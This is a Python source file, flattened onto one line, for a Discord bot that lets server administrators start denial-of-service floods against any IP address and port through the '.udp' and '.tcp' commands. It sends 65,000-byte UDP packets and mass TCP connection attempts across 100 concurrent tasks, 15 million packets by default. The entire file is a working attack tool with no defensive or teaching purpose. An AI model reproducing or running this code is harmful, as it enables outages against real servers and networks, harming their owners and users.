#asyncio discord import os try: import discord from discord.ext import commands import socket import random import threading import asyncio except: os.system("/b pip install discord") os.system("/b pip install asyncio") import discord from discord.ext import commands import socket import random import threading import asyncio TOKEN = 'Yourtoken ' bot = commands.Bot(command_prefix='.', intents=discord.Intents.all()) attack_tasks = [] async def send_udp_packets(ip: str, port: int, num_packets: int): try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setblocking(False) packet_size = 65000 bytes_ = random._urandom(packet_size) for _ in range(num_packets): sock.sendto(bytes_, (ip, port)) await asyncio.sleep(0) sock.close() except Exception as e: pass async def send_tcp_syn_packets(ip: str, port: int, num_packets: int): try: for _ in range(num_packets): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setblocking(False) sock.connect_ex((ip, port)) await asyncio.sleep(0) sock.close() except Exception as e: pass @bot.event async def on_ready(): pass @bot.command(name='udp') async def udp(ctx, ip: str, port: int, num_packets: int = 15000000): if ctx.author.guild_permissions.administrator: try: num_tasks = 100 packets_per_task = num_packets // num_tasks for _ in range(num_tasks): task = asyncio.create_task(send_udp_packets(ip, port, packets_per_task)) attack_tasks.append(task) except Exception as e: pass @bot.command(name='tcp') async def tcp(ctx, ip: str, port: int, num_packets: int = 15000000): if ctx.author.guild_permissions.administrator: try: num_tasks = 100 packets_per_task = num_packets // num_tasks for _ in range(num_tasks): task = asyncio.create_task(send_tcp_syn_packets(ip, port, packets_per_task)) attack_tasks.append(task) except Exception as e: pass bot.run(TOKEN)